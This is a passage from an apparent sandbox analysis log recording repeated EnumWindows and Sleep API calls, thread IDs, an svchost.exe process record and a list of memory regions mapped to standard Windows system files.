lParam=0x610000) [0293.332] Sleep (dwMilliseconds=0x64) [0293.434] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0293.436] Sleep (dwMilliseconds=0x64) [0293.511] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0293.512] Sleep (dwMilliseconds=0x64) [0293.614] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0293.615] Sleep (dwMilliseconds=0x64) [0293.707] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0293.708] Sleep (dwMilliseconds=0x64) [0293.792] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0293.793] Sleep (dwMilliseconds=0x64) [0293.879] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0293.880] Sleep (dwMilliseconds=0x64) [0294.065] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0294.067] Sleep (dwMilliseconds=0x64) [0294.207] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0294.208] Sleep (dwMilliseconds=0x64) [0294.301] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0294.302] Sleep (dwMilliseconds=0x64) [0294.394] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0294.395] Sleep (dwMilliseconds=0x64) [0294.488] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0294.489] Sleep (dwMilliseconds=0x64) [0294.583] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0294.584] Sleep (dwMilliseconds=0x64) [0294.635] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0294.637] Sleep (dwMilliseconds=0x64) [0294.675] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0294.676] Sleep (dwMilliseconds=0x64) [0294.753] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0294.755] Sleep (dwMilliseconds=0x64) [0294.847] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0294.848] Sleep (dwMilliseconds=0x64) [0294.981] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0294.982] Sleep (dwMilliseconds=0x64) [0295.067] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0295.068] Sleep (dwMilliseconds=0x64) [0295.159] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0295.161] Sleep (dwMilliseconds=0x64) [0295.238] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0295.239] Sleep (dwMilliseconds=0x64) [0295.378] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0295.389] Sleep (dwMilliseconds=0x64) [0295.394] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0295.395] Sleep (dwMilliseconds=0x64) [0295.410] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0295.411] Sleep (dwMilliseconds=0x64) [0295.425] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0295.426] Sleep (dwMilliseconds=0x64) [0295.440] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0295.442] Sleep (dwMilliseconds=0x64) [0295.456] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0295.457] Sleep (dwMilliseconds=0x64) [0295.472] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0295.473] Sleep (dwMilliseconds=0x64) [0295.487] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0295.489] Sleep (dwMilliseconds=0x64) [0295.503] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0295.504] Sleep (dwMilliseconds=0x64) [0295.519] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0295.520] Sleep (dwMilliseconds=0x64) [0295.534] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0295.535] Sleep (dwMilliseconds=0x64) [0295.614] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0295.615] Sleep (dwMilliseconds=0x64) [0295.707] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0295.709] Sleep (dwMilliseconds=0x64) [0295.800] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0295.801] Sleep (dwMilliseconds=0x64) [0295.911] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0295.912] Sleep (dwMilliseconds=0x64) [0296.036] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0296.037] Sleep (dwMilliseconds=0x64) [0296.173] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0296.174] Sleep (dwMilliseconds=0x64) [0296.271] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0296.272] Sleep (dwMilliseconds=0x64) [0296.363] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0296.364] Sleep (dwMilliseconds=0x64) [0296.534] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0296.536] Sleep (dwMilliseconds=0x64) [0296.651] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0296.652] Sleep (dwMilliseconds=0x64) [0296.769] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0296.771] Sleep (dwMilliseconds=0x64) [0296.865] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0296.867] Sleep (dwMilliseconds=0x64) [0296.973] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0296.975] Sleep (dwMilliseconds=0x64) [0297.153] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0297.154] Sleep (dwMilliseconds=0x64) [0297.238] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0297.239] Sleep (dwMilliseconds=0x64) [0297.331] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0297.332] Sleep (dwMilliseconds=0x64) [0297.426] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0297.427] Sleep (dwMilliseconds=0x64) [0297.491] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0297.493] Sleep (dwMilliseconds=0x64) [0297.535] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0297.536] Sleep (dwMilliseconds=0x64) [0297.612] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0297.613] Sleep (dwMilliseconds=0x64) [0297.801] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0297.802] Sleep (dwMilliseconds=0x64) [0297.899] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0297.901] Sleep (dwMilliseconds=0x64) [0297.989] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0297.990] Sleep (dwMilliseconds=0x64) [0298.081] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0298.082] Sleep (dwMilliseconds=0x64) [0298.238] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0298.239] Sleep (dwMilliseconds=0x64) [0298.316] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0298.317] Sleep (dwMilliseconds=0x64) [0298.410] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0298.412] Sleep (dwMilliseconds=0x64) [0298.504] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0298.505] Sleep (dwMilliseconds=0x64) [0298.582] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0298.583] Sleep (dwMilliseconds=0x64) [0298.675] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0298.676] Sleep (dwMilliseconds=0x64) [0298.770] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0298.772] Sleep (dwMilliseconds=0x64) [0298.829] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0298.831] Sleep (dwMilliseconds=0x64) [0299.018] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0299.019] Sleep (dwMilliseconds=0x64) [0299.144] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0299.146] Sleep (dwMilliseconds=0x64) [0299.224] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0299.225] Sleep (dwMilliseconds=0x64) [0299.313] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0299.314] Sleep (dwMilliseconds=0x64) [0299.398] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0299.399] Sleep (dwMilliseconds=0x64) [0299.473] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0299.474] Sleep (dwMilliseconds=0x64) [0299.521] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0299.522] Sleep (dwMilliseconds=0x64) [0299.566] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0299.567] Sleep (dwMilliseconds=0x64) [0299.645] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0299.646] Sleep (dwMilliseconds=0x64) [0299.738] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0299.739] Sleep (dwMilliseconds=0x64) [0299.816] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0299.817] Sleep (dwMilliseconds=0x64) [0299.894] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0299.895] Sleep (dwMilliseconds=0x64) [0299.973] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0299.974] Sleep (dwMilliseconds=0x64) [0300.066] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0300.067] Sleep (dwMilliseconds=0x64) [0300.175] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0300.176] Sleep (dwMilliseconds=0x64) [0300.269] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0300.271] Sleep (dwMilliseconds=0x64) [0300.347] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0300.348] Sleep (dwMilliseconds=0x64) [0300.426] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0300.427] Sleep (dwMilliseconds=0x64) [0300.503] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0300.505] Sleep (dwMilliseconds=0x64) [0300.581] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0300.582] Sleep (dwMilliseconds=0x64) [0300.660] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0300.661] Sleep (dwMilliseconds=0x64) [0300.737] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0300.739] Sleep (dwMilliseconds=0x64) [0301.090] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0301.091] Sleep (dwMilliseconds=0x64) [0301.269] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0301.270] Sleep (dwMilliseconds=0x64) [0301.468] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0301.469] Sleep (dwMilliseconds=0x64) [0301.578] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0301.580] Sleep (dwMilliseconds=0x64) [0301.662] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0301.664] Sleep (dwMilliseconds=0x64) [0301.754] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0301.756] Sleep (dwMilliseconds=0x64) [0301.847] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0301.848] Sleep (dwMilliseconds=0x64) [0301.949] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0301.950] Sleep (dwMilliseconds=0x64) [0302.036] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0302.037] Sleep (dwMilliseconds=0x64) [0302.146] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0302.147] Sleep (dwMilliseconds=0x64) [0302.238] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0302.239] Sleep (dwMilliseconds=0x64) [0302.483] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0302.485] Sleep (dwMilliseconds=0x64) [0302.599] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0302.600] Sleep (dwMilliseconds=0x64) Thread: id = 50 os_tid = 0xcac Thread: id = 156 os_tid = 0xcf4 Thread: id = 167 os_tid = 0x10f4 Thread: id = 168 os_tid = 0x1138 Thread: id = 169 os_tid = 0xb48 Thread: id = 170 os_tid = 0x1124 Thread: id = 174 os_tid = 0x10ec Process: id = "4" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x75956000" os_pid = "0x360" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "created_scheduled_job" parent_id = "3" os_parent_pid = "0x214" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000abff" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2765 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2766 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 2767 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2768 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2769 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 2770 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2771 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2772 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2773 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 2774 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 2775 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2776 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 2777 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2778 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 2779 start_va = 0x410000 end_va = 0x410fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 2780 start_va = 0x430000 end_va = 0x439fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\System32\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\crypt32.dll.mui") Region: id = 2781 start_va = 0x440000 end_va = 0x441fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 2782 start_va = 0x450000 end_va = 0x454fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll") Region: id = 2783 start_va = 0x460000 end_va = 0x46ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui") Region: id = 2784 start_va = 0x470000 end_va = 0x472fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mswsock.dll.mui" filename = "\\Windows\\System32\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mswsock.dll.mui") Region: id = 2785 start_va = 0x480000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 2786 start_va = 0x540000 end_va = 0x546fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2787 start_va = 0x550000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 2788 start_va = 0x5d0000 end_va = 0x5d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 2789 start_va = 0x5e0000 end_va = 0x5e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 2790 start_va = 0x5f0000 end_va = 0x5f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 2791 start_va = 0x600000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 2792 start_va = 0x700000 end_va = 0x887fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 2793 start_va = 0x890000 end_va = 0x890fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 2794 start_va = 0x8a0000 end_va = 0x8a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 2795 start_va = 0x8b0000 end_va = 0x8bcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui") Region: id = 2796 start_va = 0x8c0000 end_va = 0x8c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 2797 start_va = 0x8d0000 end_va = 0x8d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 2798 start_va = 0x8e0000 end_va = 0x8e3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2799 start_va = 0x8f0000 end_va = 0x8f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 2800 start_va = 0x900000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 2801 start_va = 0xa00000 end_va = 0xb80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 2802 start_va = 0xb90000 end_va = 0xc8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 2803 start_va = 0xc90000 end_va = 0xc93fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2804 start_va = 0xca0000 end_va = 0xcb0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 2805 start_va = 0xcc0000 end_va = 0xcc6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cc0000" filename = "" Region: id = 2806 start_va = 0xcd0000 end_va = 0xd14fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db") Region: id = 2807 start_va = 0xd20000 end_va = 0xd2cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 2808 start_va = 0xd30000 end_va = 0xd36fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 2809 start_va = 0xdc0000 end_va = 0xdc8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 2810 start_va = 0xdd0000 end_va = 0xdd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 2811 start_va = 0xde0000 end_va = 0xde1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "activeds.dll.mui" filename = "\\Windows\\System32\\en-US\\activeds.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\activeds.dll.mui") Region: id = 2812 start_va = 0xdf0000 end_va = 0xdf0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usocore.dll.mui" filename = "\\Windows\\System32\\en-US\\usocore.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\usocore.dll.mui") Region: id = 2813 start_va = 0xe00000 end_va = 0xefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 2814 start_va = 0xf00000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 2815 start_va = 0x1000000 end_va = 0x1336fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2816 start_va = 0x1340000 end_va = 0x1350fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1256.nls" filename = "\\Windows\\System32\\C_1256.NLS" (normalized: "c:\\windows\\system32\\c_1256.nls") Region: id = 2817 start_va = 0x1360000 end_va = 0x1370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1251.nls" filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls") Region: id = 2818 start_va = 0x1380000 end_va = 0x1390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1254.nls" filename = "\\Windows\\System32\\C_1254.NLS" (normalized: "c:\\windows\\system32\\c_1254.nls") Region: id = 2819 start_va = 0x13b0000 end_va = 0x13b6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013b0000" filename = "" Region: id = 2820 start_va = 0x13c0000 end_va = 0x143ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013c0000" filename = "" Region: id = 2821 start_va = 0x1440000 end_va = 0x153ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001440000" filename = "" Region: id = 2822 start_va = 0x1540000 end_va = 0x15bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001540000" filename = "" Region: id = 2823 start_va = 0x15c0000 end_va = 0x15c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000015c0000" filename = "" Region: id = 2824 start_va = 0x15d0000 end_va = 0x15e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1250.nls" filename = "\\Windows\\System32\\C_1250.NLS" (normalized: "c:\\windows\\system32\\c_1250.nls") Region: id = 2825 start_va = 0x1600000 end_va = 0x16fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001600000" filename = "" Region: id = 2826 start_va = 0x1700000 end_va = 0x17fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001700000" filename = "" Region: id = 2827 start_va = 0x1800000 end_va = 0x18dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2828 start_va = 0x18e0000 end_va = 0x18f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1253.nls" filename = "\\Windows\\System32\\C_1253.NLS" (normalized: "c:\\windows\\system32\\c_1253.nls") Region: id = 2829 start_va = 0x1900000 end_va = 0x19fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 2830 start_va = 0x1a00000 end_va = 0x1a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a00000" filename = "" Region: id = 2831 start_va = 0x1a80000 end_va = 0x1b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a80000" filename = "" Region: id = 2832 start_va = 0x1b80000 end_va = 0x1c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b80000" filename = "" Region: id = 2833 start_va = 0x1c80000 end_va = 0x1d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c80000" filename = "" Region: id = 2834 start_va = 0x1d80000 end_va = 0x1e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 2835 start_va = 0x1e80000 end_va = 0x1f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 2836 start_va = 0x1f80000 end_va = 0x207ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 2837 start_va = 0x2080000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 2838 start_va = 0x2180000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 2839 start_va = 0x2280000 end_va = 0x237ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 2840 start_va = 0x2380000 end_va = 0x247ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 2841 start_va = 0x2480000 end_va = 0x24fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2842 start_va = 0x2500000 end_va = 0x25fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 2843 start_va = 0x2600000 end_va = 0x26fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 2844 start_va = 0x2700000 end_va = 0x27fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 2845 start_va = 